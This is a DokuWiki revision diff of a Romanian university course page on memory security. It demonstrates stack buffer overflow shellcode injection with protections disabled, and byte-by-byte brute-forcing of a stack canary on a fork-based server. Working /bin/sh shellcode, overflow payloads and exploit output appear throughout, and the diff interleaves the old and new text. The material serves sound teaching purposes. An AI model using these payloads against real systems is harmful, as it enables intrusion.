-Pentru ca aceasta să funcționeze,​ trebuie să știm adresa buffer-uluiDin păcate (pentru atacator) avem în general activat ASLR (//Address Space Layout Randomization//​)Prin urmare ​la diverse rulări buffer-ul nu va avea aceeași adresă (nu apare la GDB). Pentru a verifica asta, la programul anterior adăugăm, ​în funcția ​''​read_data'' ​apelul<​code c> +Exemplificarea furnizării unui shellcode către program se găsește în fișierul ''​inject-shellcode.c''​Aici citim date de la intrarea standard ​în variabila ​''​shellcode'', ​care acum este o variabilă globală aflată într-o zonă read-writeRulăm cele două executabile generate (''​inject-shellcode''​ și ''​inject-shellcode-32''​) transmițându-le la intrarea ​shellcode-urile de mai sus:
- printf("​buffer address: %p\n"buffer); +
-</​code>​ +
-Compilăm și rulăm de mai multe ori:<​code bash> +
-user@host:​~$ make +
-gcc -Wall -Wextra -g -m32 -fno-stack-protector -I../​utils ​ -c -o run-shellcode.o run-shellcode.c +
-gcc -m32 -z execstack ​ run-shellcode.o   -o run-shellcode+
  
-user@host:~$ ./run-shellcode ​ +<​code>​ 
-Insert message (less than 32 bytes): aaa +echo -e '​\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'​ | ./inject-shellcode
-buffer address: 0xff8db4d0+
  
-Read 4 bytes from standard input. +echo -e '​\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'​ | ./inject-shellcode-32 
-user@host:~$ ./run-shellcode ​ +</​code>​
-Insert message (less than 32 bytes): aaa +
-buffer address: 0xffdf0270+
  
-Read 4 bytes from standard input.+Motivul pentru care nu obținem un prompt nou este că acum shell-ul nou creat așteată input de la utilizator. Dar standard input-ul este acum dintr-un pipe care s-a închis atunci când procesul ''​echo''​ s-a încheiatPutem, la fel, să validăm crearea cu succes a shell-ului folosind coamanda ''​strace'':​
  
-user@host:~$ ./run-shellcode ​aaa +<​code>​ 
-Insert message ​(less than 32 bytes): aaa +echo -e '​\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'​ | strace -e execve ​./inject-shellcode 
-buffer address: 0xffef6ad0 +execve("​./​inject-shellcode",​ ["​./​inject-shellcode"​],​ 0x7fff2ff13cc0 /* 37 vars */= 0 
- +execve("/​bin/​sh",​ ["/​bin/​sh"​],​ NULL)    = 0 
-Read 4 bytes from standard input.++++ exited with 0 +++
 </​code>​ </​code>​
-Observăm că bufferul are la fiecare rulare altă adresă. Putem folosi brute forcing, dar durează. 
  
-Pentru scopuri didactice vom dezactiva suportul ​de ASLR folosind comanda<​code ​bash+<note tip> 
-echo sudo tee /proc/​sys/​kernel/​randomize_va_space+Dacă dorim să menținem standard input-ul activ după rularea comenzii ''​echo''​ și să rulăm comenzi în shell-ul nou creat, folosim o comandă precum cea de mai jos: 
 +<​code>​ 
 +$ cat <(echo -e '​\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'​) - ./inject-shellcode 
 +ls 
 +Makefile ​           inject-shellcode ​    ​inject-shellcode-32.o ​ inject-shellcode.o ​ run-shellcode-32 ​   run-shellcode.c ​ shellcode-32.asm ​ shellcode.asm ​ shellcode.o 
 +Makefile.shellcode ​ inject-shellcode-32 ​ inject-shellcode.c ​    ​run-shellcode ​      ​run-shellcode-32.o ​ run-shellcode.o ​ shellcode-32.bin ​ shellcode.bin ​ shellcode.s 
 +exit
 </​code>​ </​code>​
 +</​note>​
  
-Acum vom avea aceeași adresă a buffer-ului la multiple rulări ale executabilului ​''​run-shellcode'':<​code ​bash+Atacul funcționează pentru că dezactivat DEP pentru zonele de date ale procesului creat folosind opțiunea de linker ​''​-z execstack''​. Dacă generăm un fișier executabil fără această opțiune, acesta va eșua să ruleze shellcode-ul și se va genera excepție de acces la memorie: 
-user@host:~./run-shellcode ​ +<​code>​ 
-Insert message (less than 32 bytes): aaa +gcc -o inject-shellcode-dep inject-shellcode.c
-buffer address: 0xffffd2b0+
  
-Read 4 bytes from standard input.+$ echo -e '​\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'​ | ./​inject-shellcode-dep 
 +Segmentation fault (core dumped)
  
-user@host:~$ ./run-shellcode ​ +dmesg 
-Insert message (less than 32 bytes): aaa +[2584266.553494] inject-shellcod[28689]:​ segfault at 55c1fa5f4040 ip 000055c1fa5f4040 sp 00007fff25d0d518 error 15 in inject-shellcode-dep[55c1fa5f4000+1000]
-buffer address: 0xffffd2b0 +
- +
-Read 4 bytes from standard input.+
 </​code>​ </​code>​
  
-Adresa buffer-ului va fi adresa shellcode-ului ​pentru ​că vom scrie shellcode-ul chiar în buffer. Ceea ce înseamnă că vom suprascrie adresa ​de retur a funcției ''​read_data''​ cu adresa buffer-ului adică cu octeții ''​\xb0'',​ ''​\xd2'',​ ''​\xff'',​ ''​\xff''​.+Codul de eroare ​pentru ​//​segmentation fault// este 15, adică acces de execuție la o adresă validă care nu are permisiuni ​de execuție.
  
-Ținem cont că trebuie să scriem 44 de caractere de orice fel și apoi să scriem acei octeți. Din acele 44 de caractere de orice fel primele trebuie să fie chiar shellcode-ul,​ adică șirul ''​\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80''​. Shellcode-ul are 25 de octeți. Vom scrie așadar în buffer: +==== Atacarea SSP ====
-  - shellcode-ul:​ 25 de octeți +
-  - payload (adică 44-25=19 caractere, vom folosi caracterul ''​A''​) +
-  - octeții ''​\xb0'',​ ''​\xd2'',​ ''​\xff'',​ ''​\xff''​ reprezentând adresa de start a bufferului, adică începutul shellcode-ului+
  
-Vom folosi, ca și mai devreme, python pentru a scrie informațiile de mai sus în buffer:<​code bash> +Dorim să atacăm mecanismul defensiv //Stack Smashing Protection//​ (SSP) menționat mai sus. Pentru aceasta accesăm subdirectorul ''​socket-ssp/''​ care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur.
-user@host:​~$ python -c 'print "​\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"​ + 19*"​A"​ + "​\xb0\xd2\xff\xff"'​ | ./​run-shellcode  +
-Insert message (less than 32 bytes): buffer address: 0xffffd2b0 +
-</​code>​ +
- +
-La fel ca mai sus nu se generează un prompt de shell pentru că se închide intrarea standard. Dar putem folosi ''​strace''​ ca să vedem că se apelează ''​execve''​ și se creează un proces shell:<​code bash> +
-user@host:​~$ python -c 'print "​\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"​ + 19*"​A"​ + "​\xb0\xd2\xff\xff"'​ | strace -e execve ./​run-shellcode  +
-execve("​./​run-shellcode",​ ["​./​run-shellcode"​],​ [/* 41 vars */]) = 0 +
-[ Process PID=24236 runs in 32 bit mode. ] +
-Insert message (less than 32 bytes): buffer address: 0xffffd2b0 +
-execve("/​bin//​sh",​ ["/​bin//​sh"​],​ [/* 0 vars */]) = 0 +
-[ Process PID=24236 runs in 64 bit mode. ] +
-</​code>​ +
- +
-În acest fel am executat o formă clasică de stack buffer overflow cu injectare de cod (shellcode) pe stivă. Shellcode-ul a fost scris pe stivă și apoi am suprascris adresa de retur a funcției cu adresa de început a shellcode-ului,​ adică adresa buffer-ului. Rezultatul a fost crearea unui proces shell prin invocarea apelului de sistem ''​execve''​ codificat în shellcode. +
- +
-Pentru a realiza acest lucru am dezactivat mecanismele de protecție din Linux: +
-  * Am dezactivat stack protector/​canary value prin opțiunea ''​-fno-stack-protector''​ la compilare. +
-  * Am permis ca stiva să fie executabilă prin opțiunea ''​-z execstack''​ la link-editare. +
-  * Am dezactivat suportul de ASLR prin scrierea în fișierul ''/​proc/​sys/​kernel/​randomize_va_space''​. +
- +
-Atacurile reale trebuie să țină cont de aceste mecanisme de protecție care sunt comune pe sistemele de operare moderne. Din acest motiv atacurile sunt dificil de realizat (dar nu imposibil), lucru care face selectă populația celor care sunt capabili să genereze atacuri de exploatare a vulnerabilităților memoriei. +
- +
-==== Atacarea Stack Smashing Protection (SSP) ==== +
- +
-Dorim să atacăm mecanismul defensiv //Stack Smashing Protection//​ (SSP) care presupune plasarea unei valori predefinite pe stivă (numită //stack canary// sau //stack guard//) care detectează atacurile asupra vulnerabilităților de tip buffer overflow ce ar suprasscrie addresa de retur. Pentru aceasta accesăm subdirectorul ''​socket-ssp/''​ care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur.+
  
 Urmărim conținutul fișierului ''​socket_ssp.c''​. În acest fișier în funcția ''​main()''​ se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția ''​process_client()''​ se apelează funcția ''​actual_func()''​. Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția ''​process_client()''​ pentru a suprascrie adresa de retur și a apela funcția ''​inject_func()''​. Urmărim conținutul fișierului ''​socket_ssp.c''​. În acest fișier în funcția ''​main()''​ se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția ''​process_client()''​ se apelează funcția ''​actual_func()''​. Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția ''​process_client()''​ pentru a suprascrie adresa de retur și a apela funcția ''​inject_func()''​.
Line 638: Line 395:
 Programul este compilat cu suport de //Stack Smashing Protection//​ care plasează stack canary pe stivă în funcția ''​process_client()''​. Opțiunea de compilare ''​-fstack-protector''​ este adăugată în fișierul ''​Makefile'':​ Programul este compilat cu suport de //Stack Smashing Protection//​ care plasează stack canary pe stivă în funcția ''​process_client()''​. Opțiunea de compilare ''​-fstack-protector''​ este adăugată în fișierul ''​Makefile'':​
 <​code>​ <​code>​
-CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC+CFLAGS = -Wall -Wextra ​-Wno-unused-function ​-g -fstack-protector -fno-PIC
 </​code>​ </​code>​
  
-Compilăm programul (ignorăm ​warning-ul că funcția ''​inject_func()'' ​nu este apelată, e utilă ​pentru ​atacul nostru): +<​note ​warning
-<​code>​ +**Nu** folosiți comanda ​''​make''​ pentru a regenera executabilul ​''​socket_ssp''​. O nouă compilare va afecta codul generat și payload-ul de exploit din acest demo nu va mai funcționa. 
-$ make +</note>
-cc -Wall -Wextra -g -fstack-protector -fno-PIC -I../​utils ​ -c -o socket_ssp.o socket_ssp.c +
-socket_ssp.c:​27:​13:​ warning: ‘inject_func’ defined but not used [-Wunused-function] +
- ​static void inject_func(void) +
-             ​^~~~~~~~~~~ +
-cc -no-pie ​ socket_ssp.o ​  -o socket_ssp +
-</​code>​ +
-și observăm prezențstack canary pe stivă la adresa ​''​rbp-0x8''​ (în cazul nostru), poate fi altundeva în cazul vostru: +
-<​code>​ +
-$ objdump -d -M intel socket_ssp ​| grep -A 6 '<​process_client>:​' +
-00000000004009c3 <​process_client>:​ +
-  4009c3: ​      ​55 ​                     push   rbp +
-  4009c4: ​      48 89 e5                mov    rbp,rsp +
-  4009c7: ​      48 83 ec 20             ​sub ​   rsp,0x20 +
-  4009cb: ​      64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28 +
-  4009d2: ​      00 00 +
-  4009d4: ​      48 89 45 f8             ​mov ​   QWORD PTR [rbp-0x8],rax +
-</code>+
  
-În realizarea atacului, ținem cont că la ''​fork()'' ​(modul de tratare a conexiunilor în implementarea ​''​socket_ssp.c''​) se păstrează spațiul ​de adresă al procesului, se vor păstra și stack canary. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim. Când nimerim programul nu va genera eroare ​de tipul //​stack ​smashing detection//. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul.+Pentru a exploata acest programpașii sunt similari cu exploatarea vulnerabilității de tip buffer overflow din subdirectorul ​''​buffer-overflow/​''​. Va trebui să aflăm: 
 +  * care este adresa funcției ​''​inject_func''​; această valoare va suprascrie adresa de retur 
 +  * care este offset-ul buffer-ului față de adresa ​de retur 
 +  * care este offset-ul ​//​stack ​canary// pe stivă față de buffer
  
-Atacul este descris în fișierul ''​exploit.py''​. ​Pentru a reuși trebuie să știm offset-ul dintre buffer și stack canary și adresa funcției ​''​inject_func()''​. Ambele pot fi obținute prin dezasamblarea codului, identificarea construcției ce referă buffer-ul, valoarea stack canary și adresa funcției ​''​inject_func()''​.+Pentru a afla aceste informații,​ folosim analiză statică. Dezasamblăm exeuctabilul ​''​socket_ssp'' ​folosind ​''​objdump''​
 +<​code>​ 
 +$ objdump -d -M intel socket_ssp 
 +[...] 
 +00000000004009a5 <​inject_func>:​ 
 +[...]
  
-De exemplu, pentru a identifica adresa buffer-ului și a stack canary urmărim dezasamblarea funcției ''​process_client()'':​ 
-<​code>​ 
-$ objdump -d -M intel socket_ssp | grep -A 21 '<​process_client>:'​ 
 00000000004009c3 <​process_client>:​ 00000000004009c3 <​process_client>:​
   4009c3: ​      ​55 ​                     push   rbp   4009c3: ​      ​55 ​                     push   rbp
Line 674: Line 419:
   4009c7: ​      48 83 ec 20             ​sub ​   rsp,0x20   4009c7: ​      48 83 ec 20             ​sub ​   rsp,0x20
   4009cb: ​      64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28   4009cb: ​      64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
-  4009d2: ​      00 00+  4009d2: ​      00 00 
   4009d4: ​      48 89 45 f8             ​mov ​   QWORD PTR [rbp-0x8],​rax   4009d4: ​      48 89 45 f8             ​mov ​   QWORD PTR [rbp-0x8],​rax
   4009d8: ​      31 c0                   ​xor ​   eax,eax   4009d8: ​      31 c0                   ​xor ​   eax,eax
Line 683: Line 428:
   4009ec: ​      89 c7                   ​mov ​   edi,eax   4009ec: ​      89 c7                   ​mov ​   edi,eax
   4009ee: ​      e8 0d fe ff ff          call   ​400800 <​read@plt>​   4009ee: ​      e8 0d fe ff ff          call   ​400800 <​read@plt>​
-  4009f3: ​      ​90 ​                     nop +[...]
-  4009f4: ​      48 8b 45 f8             ​mov ​   rax,QWORD PTR [rbp-0x8] +
-  4009f8: ​      64 48 33 04 25 28 00    xor    rax,QWORD PTR fs:0x28 +
-  4009ff: ​      00 00 +
-  400a01: ​      74 05                   ​je ​    ​400a08 <​process_client+0x45>​ +
-  400a03: ​      e8 a8 fd ff ff          call   ​4007b0 <​__stack_chk_fail@plt>​ +
-  400a08: ​      ​c9 ​                     leave +
-  400a09: ​      ​c3 ​                     ret+
 </​code>​ </​code>​
-Adresa buffer-ului este ''​rbp-0x20'',​ adresa stack canary este ''​rbp-0x8'',​ deci ofsset-ul este ''​0x20-0x8 = 0x18 = 24''​. Este trecută această valoare în ''​exploit.py''​ 
  
-Pentru a nu avea un executabil cu suport PIE (//Position Indenpendent Executable//​) și pentru a avea adrese fixe pentru funcțiile ​din cadrul executabilului,​ am folosit opțiunile corespunzătoare la compilare și linking în ''​Makefile''​: +Din rezultatul dezasamblării extragem informațiile ​necesare: 
-<​code>​ +  * adresa funcției ''​inject_func''​ este ''​0x4009a5''​ 
-CFLAGS = -Wall -Wextra ​-g -fstack-protector -fno-PIC +  * buffer-ul este la adresa ''​rbp-0x20''​ (argumentul apelului ​''​read''​) 
-LDFLAGS = -no-pie +  * //stack canary// ​este plasată pe stivă la adresa ​''​rbp-0x8''​ 
-</​code>​ + 
-Adresa funcției ​''​inject_func()''​ este fixă și o aflăm folosind ​''​objdump''​: +Știm că adresa de retur se găsește pe stivă la adresa ​''​rbp+0x8''​. 
-<​code>​ + 
-$ objdump -d -M intel socket_ssp | grep '<​inject_func>:​+În realizarea ataculuiținem cont că la ''​fork()''​ (modul de tratare a conexiunilor ​în implementarea ​''​socket_ssp.c''​) se păstrează spațiul de adresă al procesului, se vor păstra și //stack canary//. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim valoarea acelui octet, conform algoritmului:​ \\ 
-00000000004009a5 <​inject_func>:​ +1. Creăm un mesaj care supascrie doar un octet din //canary value//: umplem spațiul de la buffer la //stack canary// și adăugăm un octet. \\ 
-</​code>​ +2. Trimitem mesajul pe rețea. \\ 
-La feladresa este trecută în ''​exploit.py''​.+3. Dacă valoarea nu este cea corectă, procesul copil creat se va încheia cu segmentation fault și conexiune se va încheia. Dacă așa a fost, creștem valoarea cu 1 și încercăm din nou pasul 2. \\ 
 +3'. Când nimerim o valoare, programul nu va genera eroare de tipul //stack smashing detection//​. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul.\\ 
 +4. O dată descoperit un nou octet, mărim mesajul cu un nou octet și trecem la pasul 2.
  
-Acum putem realiza atacul. Pornim serverul pe o consolă:+Atacul este descris în fișierul ''​exploit.py''​. Pentru a realiza atacul, avem nevoie de două console: una pe care pornim serverul și una pe care pornim exploit-ul care va crea clienți pentru server. Pornim serverul pe o consolă:
 <​code>​ <​code>​
 $ ./​socket_ssp $ ./​socket_ssp
Line 713: Line 452:
 și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția ''​inject_func()''​. Un exemplu de atac este prezentat în fișierul ''​result.txt'':​ și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția ''​inject_func()''​. Un exemplu de atac este prezentat în fișierul ''​result.txt'':​
 <​code>​ <​code>​
-python ​exploit.py+python3 ​exploit.py
 Canary byte 0 is 0x00 Canary byte 0 is 0x00
 Canary byte 1 is 0x0c Canary byte 1 is 0x0c
Line 724: Line 463:
 Exploit result: Called injected function. Exploit result: Called injected function.
 </​code>​ </​code>​
 +
 +<​note>​
 +La fiecare rulare a serverului ''​socket_ssp''​ valoarea //stack canary// diferă așa că rezultatul afișat de exploit (conținutul //stack canary//) va diferi de la rulare la rulare.
 +</​note>​
  
so/curs/mem-sec.1585751446.txt.gz · Last modified: 2020/04/01 17:30 by razvan.deaconescu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0